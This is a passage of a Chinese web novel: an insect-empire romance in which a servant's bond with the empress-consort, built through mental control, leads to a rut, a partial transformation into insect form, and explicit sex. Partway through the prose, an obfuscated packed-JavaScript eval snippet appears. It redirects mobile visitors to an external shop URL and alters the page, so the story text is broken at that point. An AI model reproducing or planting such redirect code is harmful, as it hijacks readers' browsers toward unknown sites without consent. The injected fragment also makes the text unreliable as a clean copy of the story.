天色渐晚,夜幕四合,米安问他吃什么,泽费里诺表示不吃了:“被气饱了,吃不下去,你让亚雌都退出去,洛菲斯留下就行。” 米安领命出去,路过芬恩,让他好生伺候。 芬恩答应着,但他心里清楚,这位雌君有气没地撒,又要拿他出气。 大家都走了,他才能光明正大关心泽费里诺,先去浴室拿了毛巾,润湿,出来给雌君擦擦脸和手,顺顺气。 泽费里诺靠在沙发上看着他耐心地擦拭自己的脸,心中似有什么在动。 芬恩和他的视线对上,又赶紧移开,泽费里诺拉着他卡进自己腿间。 芬恩无奈:“帝后不生气了,又想拿我寻开心?” 泽费里诺的恶趣味不加掩饰:“老公惹我生气,关我男朋友什么事?” 芬恩顺势弯腰捧他的脸颊,温情眼眸爱意蓄满:“那雌君命可真好,老公惹你生气了,还有男朋友哄。” 泽费里诺挑唇,舌尖舔了舔唇角:“这帝国法律真苛刻,雄虫可以有多个雌虫当妻子,可雌虫却只能拥有一个丈夫,不过还好,我有你这个小丈夫。” 芬恩的心“咚”地一声,似乎停摆,他的手指轻轻摩挲雌虫的脸颊皮肤:“那有没有可能,我可以成为雌君唯一的丈夫?” 泽费里诺喜欢他这样的撩拨,有点忍不住,长腿去夹雄虫的腰:“那你得当虫皇才可以,不然得不到我,小东西,真不怕死,野心挺大。” 18. 第 18 章 芬恩当不了虫皇,所以也得不到泽费里诺。 他近距离看着雌虫的墨瞳,任由爱意在心中恣意疯长,却不加阻止,他希望在一起的日子,能放纵自己毫无顾忌地去爱。 他和原主洛菲斯不同,他来虫族之前,生长在很有爱的家庭里,父母很相爱,家底也比较厚实,虽不是特别有钱,但他什么都不缺。 父母把他教的很好,受到的教育和三观都很正,往往在这样的家庭里长大孩子,共情能力强,更懂得如何去爱人。 而洛菲斯作为亚雌被养大,家里既有雄虫哥哥也有雌虫哥哥,还有最讨喜的雌虫小妹,他在家里的地位一般,虽说父母总是想一碗水端平,但始终对洛菲斯有偏见。 不然也不会在他高中毕业就让他参加帝国皇室亚雌侍从的选秀,而哥哥妹妹都上了大学,洛菲斯心中有落差。 换成原主的话,为了被家人另眼相待,会抓住一切往上爬的机会,更别说成为帝国雌君泽费里诺的床上雄虫,那更有得炫耀了。 可惜芬恩不是,他原本就很理智,在没被泽费里诺强取豪夺时,他就意识到他们之间的差距,一而再再而三地拒绝,就是为了给自己留点余地和后路。 他不想因为一只拟人虫而遗憾一辈子,注定无法掌控结局,不如别开始。 可他还是开始了自己这一生爱的旅途,哪怕时间短暂,没有名分,他也不会后悔有这一遭。 雄虫的手指轻轻略过雌虫好看的眉眼,声音依旧温润:“没有野心,只是对您有占有欲。” 泽费里诺并不觉得意外,长腿勾着他的腰,圈住,让他贴着自己:“正常雄虫都会对我有占有欲,这不是你的专属特权。” 芬恩感觉到接触的部分温度很烫,他甚至能感觉到拟人虫作为人类的部分,他没碰过泽费里诺这里:“虫皇也会吗?” 泽费里诺盯着他沉默了几秒:“会,他后悔了。” 芬恩凑得极近,温热的呼吸抚在雌虫唇上:“那您还会要他吗?” 泽费里诺长臂把他勾到自己怀里,打量了一会儿雄虫漂亮的蓝眸,薄唇狠狠地碾在芬恩唇上,用力吮了一下之后放开:“有你,我要他干什么?从他背叛我的那一刻起,我这辈子就没打算再要他了,我要他那个位置,等我当了虫皇,我压根不需要婚配的对象,只需要有个自己的孩子。” 芬恩觉得泽费里诺对他实在没有防备:“您对我说这些话,就不怕我出卖您?” 泽费里诺的笑容傲慢,自负:“如果我连你也无法掌控,那不如直接被塞塔斯杀了算了。” 芬恩真的好喜欢他的自信:“可这条路很难走。” 泽费里诺觉得无所谓:“扶他上位的那条路也很难走,可我还是走过来了。” 芬恩不会因为他有野心而苛责,反而会担心他独自走那条路没有伙伴,会很危险。 他俯身拥抱了泽费里诺,在他眼里,拥抱更能表达自己的感情:“那希望您能得偿所愿。” 泽费里诺抱着他,手指轻轻地敲着他宽阔的脊背:“你会一直陪着我对吧?” 芬恩听到这句话沉默了,他没有回答泽费里诺的问题,一只手摸着雌虫的后颈,摸到抑制环,手指在上轻轻地摩挲。 他内心有磅礴的爱想给泽费里诺,却不知道该如何做。 小小雄虫,第一次谈恋爱就没轻没重的,把对方看的比自己重要。 他忘了,泽费里诺是个上位者,在上位者眼里,爱是最不值一提的小事。 如果泽费里诺需要,他确实可以一直陪着,只是贪婪总会趁虚而入,得到的更多,就想拥有更多。 等了半天没有得到回答的雌君,有点不耐烦:“你在想什么?为什么不回答我?” 芬恩始终是那句:“会有和您更相配的雄虫陪您走过余生,我的陪伴是短暂的,我没法给您一个孩子。” 作为雄虫的尊严因为这个认知而被碾得粉碎,之前发育成低等雄虫让他欣喜,毕竟哪怕被雌君强取豪夺,他也没法酿成大错。 可如今,却也成了刺入他心脏的尖刀。 泽费里诺感觉他的身体有些发抖,便知道这雄虫当真了,他推开雄虫,确实发现他眼尾泛红:“洛菲斯,不要奢望我能给你爱,我需要的是陪伴,是活下去。” 芬恩站起来,很快就稳住了情绪:“我知道,是我奢望过多,您别跟我计较。” 泽费里诺莫名觉得烦躁,可他忍住了自己的脾气,让芬恩退下:“休息去吧,我自己静一静。” 他也不知道看到芬恩眼中的失落,心里为什么这么烦躁,想发脾气,却又不想让芬恩承受。 长腿一伸,踹了价值不菲的古董茶几,发出巨大的声响。 芬恩去浴室挂毛巾,听到了动静,他知道自己的贪婪又惹帝后生气了,他默默地去把茶几又挪回原位。 泽费里诺一只手搭在额头上,闭着眼睛,也不知道在想什么,芬恩没敢打扰,默默地退出了帝后的寝殿。 去走廊里把那几株花照料一下,外面天色黑尽。 泽费里诺看着他的身影消失在内殿,他觉得自己很奇怪,目光总是在不经意地寻找雄虫的身影,明知道身份不对等,他只是把雄虫当成抚慰品,不该施舍爱。 一个绝对的上位者,是不能付出真心的,他曾经付出过一次真心,但被糟蹋了,此后他不再会对谁有真心。 洛菲斯这只雄虫,也只是因为他的地位和权势,才会对他这么上心,当他失去一切,谁也不会站在他身边。 在心里暗骂自己,泽费里诺,你在为一只低等雄虫叫屈什么?他一点都不亏,你让他锦衣玉食,护他平安,等他离开的时候还能得到你的一笔钱,你没有亏待他,他只是用身体陪伴了你一段路,也得到了报酬和补偿,何来委屈? 除了一颗真心和爱给不起,什么都给得起。 是的,没有委屈。 他委屈什么,他感恩戴德都来不及。 ~ 芬恩感觉心里空空的,他只有在黑暗里的时候,才能尽情享受自己的世界,他的心里装着一个名为爱的世界,这个世界独自圈给了一只有丈夫的雌虫。 他构想了一个平淡的未来,在这个构想中,他和泽费里诺都是普通的平民虫,他俩有一个孩子,一家三口普普通通,其乐融融。 他带着这样的幻想睡去,梦里真实现了自己的愿望,泽费里诺黑色长发松垮地绑在脑后,怀里抱着一个可爱的奶团子,叫他爸爸。 他在这样的甜蜜中醒来,恍惚间都不知道是梦是现实,半天之后,外面天色渐亮,他才知道自己做梦了。 无尽的失落席卷,他坐起来,伸手摸到自己的尾勾,独自坐到了天大亮。 真可笑啊,没有生育力,却长了繁育才能用的尾勾,作为雄性,这跟绝育了有什么区别。 虽然繁育不是他的目的,爱才是,可泽费里诺作为雌虫,他需要的是有生育能力的雄虫,而不是他这种。 他真想把这尾勾给砍了,可是又疼,要是真没了,那他再没有让泽费里诺觉得有用的东西了。 一大早虫皇就来了,依旧道歉,芬恩伺候帝后洗漱。 泽费里诺对虫皇的态度也冷淡:“您不忙您的公务,一大早往我这里跑干什么?” 塞塔斯坐在沙发上,看着芬恩给泽费里诺擦洗手脚和脸颊,心里有点不爽:“你还没消气,我没心思处理那些东西。” 泽费里诺冷笑一声:“陛下这是又在演哪出?您都跟艾维尔军雌发生关系了,军雌的肚子已经大了,您不想办法堵住军雌的嘴,反而跑来烦我。” 塞塔斯没有回答他这个问题,而是指着芬恩:“我不喜欢这只亚雌侍奉你,叫米安把他换了。” 泽费里诺美眸一冷:“您管的真多,我就喜欢他侍奉我,你看他长得多像您。” 塞塔斯怒气渐重:“把他换了!这是命令,不然我有权解雇他,让他滚出皇宫!” 芬恩赶紧放下棉巾,跪在了原地,没敢吭声。 泽费里诺觉得可笑:“您在吃醋?您竟然吃亚雌的醋,别太离谱了。” 塞塔斯就是觉得看芬恩不爽:“你怎么说都行,我就是不想让他伺候你,最好别出现在你面前。” 泽费里诺低眼看芬恩:“洛菲斯,你可真荣幸,让帝国高高在上的虫皇,都因为你而吃醋。” 芬恩感觉自己的命又开始不在自己手中:“陛下饶命,您不喜欢我,可以解雇我。” 解雇才好啊,及时止损,他就可以过自己的日子。 但泽费里诺就不:“我劝陛下少管我的私事,不然我一纸诉状告到联邦军事法庭,陛下您就得跟我离婚,尽管皇权高于一切,但您出轨在前,审判庭还得斟酌再三才能给您一点薄面。” 塞塔斯被堵住了口:“留下他可以,让他殿外侍奉,不然把我惹急了,我会处死他。” 泽费里诺冷笑一声:“陛下好大的权利,第一次见你对一只亚雌起杀心,怎么,陛下担心我和亚雌乱来?” 塞塔斯冷着脸:“防着点总是好的,既然只是亚雌,那你也没必要那么护着。” 泽费里诺神态慵懒,坐在了虫皇身边:“作为主子,我不护着他们,谁护着他们?既然你不喜欢这只亚雌,那我把他打发出去外殿侍奉就行,多大点事。” 他越是护着,这只小雄虫就越危险,泽费里诺真怕塞塔斯发疯,连自己亲大哥都能杀的雄虫,更别说对一只亚雌下手了,那易如反掌。 泽费里诺长腿一翘,吩咐芬恩:“你出去吧,叫米安来。” 芬恩只得快速退出去,叫了米安进去。 他绕路回了自己的房间,心仿佛在慢慢裂开。 还没平复下来,米安就来告诉他:“帝后说了,让你去和亚雌一起住,以后我在殿内侍奉,你把东西收拾一下,洛菲 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那几只亚雌看他的眼神嘲讽又不屑:“你再怎么殷勤,帝后也看不见,装什么呢?真以为自己红了一会儿,就能替代米安总管。” 芬恩对他们的嘲讽置若罔闻,只是将雌君的衣服都整理好,连衣角都抚平。 衣物里散发出属于雌君独有的香味,芬恩感觉自己的思念在泛滥,他好几天没看到心上虫了。 雌君的衣服他洗了好久,摸过每一寸布料,似乎摸着心爱之虫的每一寸皮肤。 原来思念到极致,最原始的渴望不过是肌肤相贴,他想到了泽费里诺抱着他的感觉。 或许是过于思念,他当晚就不对劲了,有种浑身被蚂蚁啃噬的感觉,血液也不知道为何乱冲。 还好寝室的床都是单独舱,他难受地蜷缩在里面,有什么东西时不时要从牙齿和尾勾溢出,他有种想撕咬的冲动。 好像更加思念泽费里诺,这种感觉真要命,怎么会这样? 他发痒的牙齿咬了一晚上被子,有种生不如死的感觉。 可第二天还有干不完的活,他想着忙碌一点就好了。 可这种诡异的感觉在第三天的时候越发强烈,信息素的暴动引发精神识海的疼痛。 泽费里诺大半夜被精神识海乱冲的诡异感惊醒,不是他的精神力紊乱,就是母核晶体传来的共感。 他从黑暗里惊醒,愣了片刻后,就着睡衣下床,把米安叫醒。 米安醒来一看,帝国时间,半夜三点。 他从小房间出来,跨过走廊走进内殿:“帝后,怎么了?” 泽费里诺坐在床沿,机器虫灯照的他脸色发白:“去把洛菲斯给我找来,有点事问他,叫他来后花园。” 米安只得去亚雌寝室叫芬恩,之间隔着几百米的距离,帝后寝宫周围被亚雄侍卫把守着。 泽费里诺穿好衣服出了寝宫,往后花园走去,亚雄侍卫不知道他这么晚了去后花园干什么,但也不敢问。 他们只是负责帝后的安全,却无权过问帝后的行踪。 芬恩也没想到最难受的时候,会被泽费里诺叫去,他努力让自己正常。 米安觉得味道不对,好清爽的气味,仿佛薄荷和柠檬混合:“洛菲斯,你身上什么味道?好奇怪。” 亚雌和亚雄对信息素的敏锐度不高,甚至可以说没有,所以那些亚雌才没有因为雄虫信息素而产生什么不好的感觉。 芬恩努力平复着身体里的暴躁:“哦,用了点香水,不好闻吗?” 米安也不知道怎么回答:“我还以为是信息素,按道理说,亚雌的信息素都无色无味。” 芬恩知道自己信息素外漏了,但不知道为什么,这个时候肯定也不能承认,所以他让米安别多想:“不是的,这么晚了,帝后找我干什么?” 米安也不知道:“去了就知道了,估计有什么事想问你。” 后花园有一座假山,假山在偌大的喷泉后面。 米安带他去了后花园,泽费里诺坐在假山附近的凉亭里,让米安出去守着。 “我有点重要的事情问他,米安你去门口守着,不要让任何虫靠近。” 半夜三点,哪有什么虫靠近,米安没敢问,听话地退了出去。 泽费里诺这才看向走近的芬恩,起身几步跨过去,在芬恩身上嗅了一会儿,泽费里诺给出了结论。 “你的易感期到了,这下可怎么办,你不能在皇宫待了,会被发现的。” 芬恩不知道他在说什么,只看到雌虫的的唇在一开一合,雄虫强烈的合尾意愿,让他想不顾一切地抱住黑发雌虫,将尾勾从只有他通到过的途径,直达雌虫的孕腔。 他想和泽费里诺合尾,想的不得了…… 19. 第 19 章 他的双臂控制不住地想去拥抱泽费里诺,眼神黏在那张日思夜想的脸上移不开。 泽费里诺肯定发现了,这情况可真糟糕,他都忘了这小东西刚发育成熟,会很快迎来易感期。 他的易感期已经过了,所以不太需要雄虫的信息素,他眼神沉静地看着芬恩那双湖泊蓝的眼眸半天,也没说什么话,拉着雄虫离开凉亭,弯腰走进了不远处的假山里。 外面的机器虫夜灯照得四周通亮,泽费里诺也不敢保证半夜有没有偷窥的眼睛。 躲进了黑暗里,但还能看到彼此的脸,芬恩有点失控地往他身上贴,但到底是个理智的老实虫,除此之外再没有其它动作。 一般情况下,不在易感期的时候,泽费里诺脖颈上的抑制环从来都不会拿下来。 虽说不会给芬恩过多的爱,但雄虫有问题他还是得解决,他感觉到伏在他怀里的雄虫呼吸急速,在努力克制。 泽费里诺的声音又低又沉:“解开我的抑制环,我让你咬。” 芬恩就等他这句话,得到许可之后,他修长的手指颤抖着摸向雌君脖颈上黑色的抑制环。 几天没见,芬恩感觉自己快死了,他怎么会变成这个样子,泽费里诺真的要折磨死他才算数。 没有一刻的犹豫,黑色的抑制环被他攥进手心里,急切地朝着雌君后颈的腺体咬去。 泽费里诺靠在石壁上,仰头倒吸一口凉气,疼痛感传来,他的手还在轻轻地拍着芬恩的背:“别着急,把我咬伤你就没有雌虫可以咬了。” 芬恩的牙齿微微松懈,过会儿就感觉到了泽费里诺使用了精神力,他将雄虫的信息素全部吸收了,免得出现什么差错。 芬恩贴在他身上,一只手握着泽费里诺修长的脖颈,一只手抱着雌君结实的双肩,他的情况才稍微好了一点。 牙齿和舌尖都极尽可能地包了雌虫的腺体,源源不断的雄虫信息素灌进去。 但这远远不够,泽费里诺难得脾气温和,即使被咬疼也没吭声,可过了会儿他就感觉到有什么东西顺着他的腿缠上来。 在寻找曾经一起合尾的地方。 不用想都知道是什么,泽费里诺将雄虫的尾勾压在了石壁上:“现在不可以,最近虫皇经常来我这里,不在易感期,被灌进去的话,很难吸收,会被发现,他的五感比任何雄虫都强。” 芬恩的尾勾不安地在雌虫腿上徘徊:“那我怎么办?” 咬到了心上虫的腺体,让他稍微好了点:“那我这个样子,您不放我走,我怎么办?” 泽费里诺抱住他,一手抚着他的长发:“放心,我会让你安然无恙度过易感期。” 芬恩想哭:“实在不行,您放我走吧,我太痛苦了,每天活在思念您的煎熬里,我实在受不了这样的折磨。” 泽费里诺沉默了,半天没有回答他这个问题。 芬恩的牙齿慢慢地放开他被咬红的腺体,眼眶酸涩,心脏也跟着发疼,雌虫的腺体上面一排牙印:“您不和虫皇离婚,虫皇不放您走,而我也得不到您,我实在不知道自己留在这里的意义是什么。” 泽费里诺捏住他的后颈,终于冷着声回答:“你留在这里的意义是陪伴我,你哪里没得到我,你已经得到了。” 芬恩摇头,他摸向了雌虫的心口:“我想要您的真心,我想要您爱我。” 泽费里诺不想听到“爱”这个词,一把推开了芬恩,将抑制环从他手里拿过来,又扣在脖颈上。 言语和态度都冰冷:“洛菲斯,你越界了,你这样只会让你和我都没有好下场。” 芬恩又抱过去:“我想爱您,有错吗?” 泽费里诺一把捏住他的下巴,凑到他耳际:“爱我没错,但你不该奢望我的爱,我已经是只没有爱的雌虫,我的爱被耗尽了。” 芬恩的眼泪顺着眼底滑落,他深呼吸,抓住雌君的手腕:“您对我真残忍。” 泽费里诺如今才觉得搬了石头砸自己的脚,他不该对这雄虫进行信息素和精神力的双重绑定,作用力太强。 他将芬恩一把又摁向自己的后颈,气急败坏地自己扯了抑制环:“我不仅对你残忍,我对我自己也挺残忍的,我要是不够狠,我不会走到这一步。” 他让芬恩使劲咬:“我的本意是让你依赖我,对我产生类似爱情的好感,这样我才能得到专一的雄虫信息素,可我不知道会让你变成如今这般。” 芬恩的尾勾缠住了泽费里诺的大腿,他一言不发地咬向雌虫的腺体,只觉得身上有什么东西被抽走。 四周像是刮起了大风,等他反应过来的时候,突然觉得疲惫不堪,咬着雌虫腺体的牙齿也没了力气。 尾勾也从雌虫的腿上散开,耷拉在身后。 泽费里诺抱住他,让他在怀里缓一缓:“我把精神力从你的精神识海收回了,我得让你知道,你对我的感觉都是来自我对你精神识海的控制。” 芬恩趴在他肩上,被他抱着,有点犯困,想睡觉。 但他并没有觉得自己对泽费里诺的爱意减弱,这说明他对黑发雌虫的喜爱之情不是来自精神识海的控制。 可是又如何呢,泽费里诺不需要他的爱。 是啊,对一只高级雌虫而言,他这只等级很低的雄虫,除了能摄取一点信息素,完全没有用啊。 哪有大佬会需要废物的,根本不需要。 芬恩闭上眼睛,心也在瞬间沉了下来。 和泽费里诺的合尾,本就是命运跟他开了个玩笑罢了。 还在地球的时候,好兄弟因为和女友分手,要死不活,闹着绝食,自杀,他还总是劝好兄弟看开点。 那时候不理解为什么会有人把毫无关系的一个人,看得比自己都重要,现在他理解了。 缓了会儿他冷静下来了,从雌虫怀里离开,站好,将抑制环又给泽费里诺扣到脖颈上,有些心疼雌虫刚才被他咬疼,却默不作声。 芬恩的心也会一点点裂开,隔着暗光,他看不清雌君的表情,但他知道自己的痴心妄想可以在这里终止了。 泽费里诺以为他冷静下来了:“你看,我是不是没骗你,离开我的精神力控制,你根本不会爱我。” 芬恩没回答,他心想,这世上的雄虫,没有一只能拒绝泽费里诺,雌君还是认为他的爱意是来自精神识海的控制。 罢了,说了无用。 既然不放他离开,也不想让他死,那得找个地方让他度过易感期吧。 芬恩往后退了两步,和泽费里诺保持距离:“您说的没错,我冷静下来了,原来精神力的控制这么厉害,感谢雌君大发慈悲。” 泽费里诺舒口气:“你今晚应该好受点了,明天一早我会让你离开皇宫去过易感期,等易感期过完,我再把你接回来。” 芬恩没回答,抬步走出了假山,这才收拾了一下自己的尾勾,将可笑的东西塞回去。 泽费里诺整理了一下自己的衣服,和芬恩站在喷泉池旁边吹了会儿夜风,才带他离开。 米安见他俩出来,恭敬地上前搀扶帝后:“雌君,回寝殿吗?” 泽费里诺看了一眼芬恩,吩咐米安:“你送他回去,明天一早你带他去玫瑰庄园,那边的玫瑰开了,需要园丁养护。” 米安看一眼洛菲斯,低头应下:“是,那我明天一早就送他过去?” 泽费里诺嗯一声,抬步往寝宫方向走,再没回头。 米安看着雌君远去的身影,看了看芬恩,也是无奈:“宫里就是这样的,别把任何虫的话当真,我在这宫里十几年了,也看透了。前一秒还是主子身边的红虫,下一秒死的也有,看开点。” 芬恩没什么看不开的:“玫瑰庄园在哪里?” 米安示意边走边说:“那原本是帝后婚前住的地方,自从帝后跟虫皇结婚后,那里就废弃了。其实你往好处想,帝后可能是想救你,毕竟虫皇讨厌你,说实话洛菲斯,伺候帝后的亚雌换了那么多次,我还是第一次看到虫皇讨厌亚雌。” 借着路上的灯,米安将芬恩打量一番后,叹了口气:“不过也能理解,你的外形和亚雌不太像,没有长得像你这样好看的亚雌,虫皇讨厌你也是情有可原。” 芬恩没回答,他的心里凉丝丝的。 他一晚上没睡,第二天天刚亮米安就来叫他,泽费里诺并没有来,米安直接带他去玫瑰庄园。 他有帝后的宫令,在皇宫指定停靠飞船的地方,开上公用的宫廷专用飞船,送芬恩过去。 芬恩全程一句话都没说,半个小时后,飞船在距离皇宫几十里的一个偌大的庄园里停靠,满院子都是开的鲜艳的玫瑰,花瓣已落了好几层。 被风吹的满院子都是,庄园的大门是锁着的,米安叫他下去,带他进去熟悉了一番。 许久没住过的庄园内冷清异常,推开大门的瞬间都能闻到灰尘的味道。 米安将帝后送的营养剂给芬恩:“这些是雌君送你的营养剂,都是上等的东西,我都觉得雌君让你来这里是享福的,大家都觉得你被发配出来,可我却觉得雌君对你厚爱。” 芬恩拿过营养剂,道过谢:“你回去吧,告诉雌君,我会养护好他的花。” 米安叮嘱一句:“注意安全,还有不要想着逃走,要是被抓回来就是死路一条,还得牵连你的家族,帝国到处都是身份勘察器,你去哪里都能瞬间把你抓回来,明白吗?” 芬恩表示知道:“不会逃走,我知道我和宫廷还有三年合约,这三年里,我的命属于皇宫。” 米安点头:“你这次被发配出来,也是帝后怕你被虫皇嫉妒,放心吧,很快就会让你回去的。” 芬恩轻轻地嗯一声,转身去查看每一间房。 米安跟在身后,介绍每一间房的用处,让他随便找个房间住,反正没虫来这里。 芬恩也答应着,热情的亚雌总管介绍完就走了,芬恩去找泽费里诺的房间。 门一推开,很大的灰尘味,他是个闲不下来的人,进去观察了一番之后,就开始进行打扫。 泽费里诺的卧室在二楼,一个偌大的套房里,墙上挂着各种名画,衣柜里还有他以前穿过的旧衣服。 芬恩耗费了一个多小时把房间收拾干净,一直忍着的筑巢欲终于在这一刻释放,他把泽费里诺的旧衣服全部从衣柜里掏出来,放在床上,堆砌成了一个乱糟糟的衣服巢。 他这才钻进去蜷缩起来,他知道这不是作为人类的本能,是作为虫的本能,易感期的到来意味着繁育,要和雌虫进行孕腔信息素的交流,以确保雌虫能怀上虫宝。 而雄性更倾向于垒筑一个安全的巢穴,供于雌虫怀孕,保暖,生存。 但芬恩知道,这个巢里不会有雌虫来,他只有自己。 泽费里诺易感期需要他的时候,对他强取豪夺,可当他处于这种困境时,那高高在上的雌虫,鸟都不鸟他。 他确实不该奢望一只高级雌虫的爱,还是作为帝国的雌君。 他的贪心不足得到了报应。 他用泽费里诺那些发着霉味的衣服盖住自己,抱着膝盖,沉浸在自己的世界里。 他好想回地球,回到家人身边,那样就不会这样难过了。 这一睡,也不想起来,牙齿发痒的时候,他就咬那些旧衣服,可那些衣服上早已没有了雌虫的气味。 他也不知道自己蜷缩了多久,营养剂一瓶都没喝,院子里的花瓣也没打扫。 只知道外面的光亮了暗,暗了又亮。 混混沌沌,不知今夕何夕。 他肆无忌惮思念泽费里诺,想念开始疯涨。 哪是精神力控制他啊,是他心甘情愿爱上的。 直男的爱就是没轻没重。 又一个白天到来,他透过衣巢看到了外面的光,但他不想出去。 不知道自己这情况还得多久才能过去,尾勾也在变化,芬恩觉得再这样下去,他很有可能会变成虫子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521311|203321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变成虫子多丑啊,他不要变成虫子,可是有的雄虫的易感期就是伴随虫形,这样能提高雌虫怀崽几率。 但没有雌虫的雄虫就会虫体化,撑不过去就死。 芬恩没有雌虫,他也不想变成虫子。 可他发现自己的人腿好像在发生什么变化,不敢看。 整个人都在发抖,好可怕,尤其是这样的环境里。 就在他瑟瑟发抖无处躲藏时,突然听到了皮鞋踩着楼梯上楼的声音,他在二楼雌君以前的卧室。 芬恩吓得大气不敢出,那脚步声越来越近,在他的房门口停下,有人拧开了房门的把手。 芬恩吓得大气不敢出,直到头上盖的几件衣服被一把掀开,他才在不适应的光线里眯了眯眼,继而看到了一张魂牵梦绕的脸。 芬恩的心脏一抽,眨了眨眼,生怕是幻觉。 但那张脸没有消失,黑发雌虫坐在了他的衣巢边,神色清冷地看着他。 芬恩收回视线,又将旧衣服拉来盖在头顶,没有说一句话。 泽费里诺又把他的衣服扯开:“我给你带来抑制剂和止咬器。” 芬恩闭着眼睛:“您有心了,我不需要。” 泽费里诺看着他蜷缩在自己的衣服做成的虫巢里,也不知什么滋味:“你在怪我。” 芬恩摇头:“没有,哪敢怪您,还得麻烦雌君来看我,我很抱歉。” 泽费里诺将抑制剂放在床边,用小针管装了一支:“这是我托心腹搞来的雄虫抑制剂,打一针你会好受点。” 他想给芬恩从脖颈上打下去,但芬恩一把推开了他:“没有那么痛苦,就像您说的,收回您的精神力之后,我对您压根没感觉,这是作为雄虫的本能,没有扛不过去的。” 一向脾气不好的雌君,竟是一句话都没说,修长指间的一次性针管上,针头正在往外滴抑制剂。 他见雄虫不肯打抑制剂,也就不强求了,把止咬器递给芬恩:“咬着吧,会好受点。” 芬恩没理会,闭着眼睛,唇色发白,却在发抖,似有无尽的委屈。 泽费里诺看着他的样子,也是于心不忍:“虫皇问我你去哪里了,他真的很在意你的存在,难道这就是雄虫的警觉吗?如若不是他今天有事去军部和联邦,我都没机会来看你。” 芬恩忍着情绪:“那您看完了,可以走了,谢谢您的好意。” 泽费里诺墨色的瞳静静地盯着他,看到他不安摆动的尾勾,他伸手摸了一下,发现芬恩整个下半身都成了虫形态,白色的虫足在尾勾周围不安地动弹。 他一把扯开盖在雄虫身上的衣服,发现这雄虫确实虫体化了,雌虫一双漂亮的眼眸睁大了些许。 芬恩知道自己的样子很丑:“您别看了,我自己都觉得恶心。” 泽费里诺终是泄了气,一手开始解自己整洁的衣扣:“虫体化了,再不合尾,会变成僵虫,死在易感期。” 芬恩掀起银白的睫毛,就看到泽费里诺解开了黑色衬衫衣扣,露出了白皙的胸膛。 他咽了咽口水,眼神一点不舍得从他慢条斯理的动作上移开:“您要干什么?” 泽费里诺脱掉黑色皮鞋,钻进雄虫垒筑的衣服乱巢,将雄虫的脑袋摁在自己胸口:“年纪不大,脾气却不小,我不就是拒绝了你的合尾请求,你就被气得虫体化,我泽费里诺这辈子,从未对谁这样宽容过。” 芬恩像得到了救赎的信徒,深吸一口气,还没变化的两只手臂,狠狠地抱住心心念念的雌虫:“得不到您,我不如死了。” 长满口器的嘴急切地在雌虫的皮肤上一寸一寸掠过。 尾勾蜷缩,横过雌虫的腿中,缠住拟人形雌君的皮带。 轻轻一扯,扔到了一边。 他对这些行为倒是熟练,明明不经常接触这种行为,却已然让他有了经验一样。 粗壮尾勾迅速没进拟人态雌虫的股,仿佛雄虫天生就知道该如何掌控雌虫。 多天的思念顷刻间崩塌,他对黑发雌虫的爱意汹涌,从心间沸腾而出,溃不成军。 “都是您不好,把我变成这个样子,原本我可以安稳脱身,回到属于我自己的民间,拥有一只爱我的雌虫,我们会婚配,平平淡淡,普普通通。” “可您却打乱了我的计划,让我堕落在这皇宫里,跟您一起坠进深渊,我都这样了,您还不准备负责任,什么都不给我。” 泽费里诺仰着头,脖颈上的抑制环被雄虫解开,这次他倒是顺手,不再像之前那样扭捏。 “我总觉得你不像只低等雄虫,只是没有精神力,所以才显得弱,但你的信息素和体力都不弱。” 芬恩将他圈在自己的地盘内,雄虫天生的掌控欲在泛滥,让他将高级雌虫束缚在怀里。 “如果是高等虫,您就会爱我吗?如果我能给您一个孩子,可以爱我吗?” 泽费里诺气息微乱,抓着芬恩肩膀的手骨节泛白:“那更完蛋了,现在我不需要孩子,要是有了孩子,我和虫皇的脸面都难看,他更有理由杀我全家了。” 雄虫虫体化后体型比人形态大好多,他只用一个尾勾就把拟人雌虫缠了个结实。 泽费里诺低头蹭着他的长发,也没阻止他的行为:“还好你等级低,用这种方式帮你,我也不会怀孕,只是你小子没轻没重,一点都不知道怜香惜玉,第一次的时候,尾勾勾得我生疼,还好那时候在易感期,不然换成平时,我得弄死你。” 芬恩被眷顾了,像得到恩赐的亡徒,脸颊紧紧贴着雌虫的下颌,指尖在雌虫腺体周围摩挲,半身虫体将雌虫包在自己的控制圈内,尾勾急不可耐地寻找侵口。 他第一次大着胆子叫了雌君的名字:“泽费里诺,你看清楚,我是半虫形态,会弄死你,你不怕吗?” 泽费里诺也不知道自己在干什么,明明是清醒的,却做不清醒的事:“先试试吧,如果不行,我再转换虫形态,你小子得便宜了,虫皇都没见过我的虫形态。” 20. 第 20 章 想想有点可悲,和塞塔斯相处这么多年,他把什么都给那位雄虫陛下了,却唯独留着这具身体清清白白,如果塞塔斯爱他,早就该在十八岁的时候,他们就该有点发展。 是他那时候年轻,天真,一心只想着爱就行了,哪怕纯爱,也无所谓,结婚后总会发生点什么吧? 可结婚后什么也没发生,等来的是对他的忌惮和摧毁,泽费里诺这短暂的二十多年里,受过最大的委屈就是不被虫皇当回事,利用他完成夺嫡之后就弃如敝履。 可作为一只自带光环的天才雌虫,这也是他遭遇的为数不多的低谷,还是爱情给他带来的,所以他看透了爱情的本质,不会给谁爱,也不会奢求爱。 身边的这只小雄虫也是阴差阳错才成了他的抚慰雄虫,他很清楚自己想要的是什么,换成任何一只雄虫,能留在他身边当抚慰品都得感恩戴德,所以他对小雄虫的任何行为都不意外。 这虫族帝国没有几只雄虫能拒绝他的恩赐,包括塞塔斯。 毕竟价值摆在那里,他是唯一一只被塞塔斯忌惮,却安然无恙的雌虫。 要是换成其他雌虫,早不知道死多久了。 目前看来,塞塔斯想和他重归于好,目的是什么他不知道。 那位虫皇陛下又在耍把戏,最近缠他缠得尤其紧,说要和他备孕,生个孩子,好立储。 最近一没事就往他寝宫走,结婚的这两年,他来的次数加起来都没有这两天多。 不管是虫皇后悔了还是想干什么,他的目标不会变,他会拿回属于自己的辉煌,也不会再给那样的雄虫伤害自己的机会。 泽费里诺心里没有爱了,他不信任雄虫的感情,婚前说好了会专一,如今搞大了军雌的肚子。 